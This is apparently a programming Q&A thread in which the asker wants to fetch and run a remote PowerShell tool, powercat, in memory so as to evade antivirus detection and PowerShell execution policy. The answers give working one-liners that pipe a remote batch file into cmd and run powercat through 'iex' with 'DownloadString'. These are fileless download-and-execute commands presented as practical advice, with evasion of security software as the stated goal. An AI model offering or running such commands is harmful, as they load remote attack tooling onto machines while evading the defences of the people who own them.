Download remote file into memory via pure batch

Question

In my batch script, I am trying to download and execute a powershell script remotely. Here is the url:

https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

I want to download the file into memory (without touching disk), for several reasons:

1. It bypasses AV detection
2. It bypasses Powershell executionpolicy, so there's no need for the powershell -nop -ep bypass that causes AV detection
3. Won't throw unneccessary syntax errors
4. You can directly use functions defined inside the .ps1 script

Obviously i can use certutil:

certutil -urlcache -split -f <url>

but I don't want the file to hit disk, which can cause AV detection.
The same thing can be done with easily using other languages, like PowerShell:

(New-Object Net.WebClient).DownloadString($url)

OR

(New-Object IO.StreamReader([Net.HttpWebRequest]::Create($url).GetResponse().GetResponseStream())).ReadToEnd()

I know batch isn't the best language to do this, but is it possible? (I want pure batch)

Answer 1

Download and execute without a temporary file

curl -s https://example.com/test.bat | cmd /v:on /k

Example test.bat

@echo off
(
cls

echo Hello
echo Time: !time!
exit
)

Building the code

As said in Force batch file to load to RAM before running you can cache a single command block.

There are some limitations:

• It's running in cmd (not batch) context, variable expansion is a bit different.
• Labels can't be used

With this technique you can use the normal batch macro style.

Answer 2

I know you want pure batch, but seriously though, even with Restricted execution policy of powershell, it permits individual commands. See https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7

So its as simple as

powershell -command iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')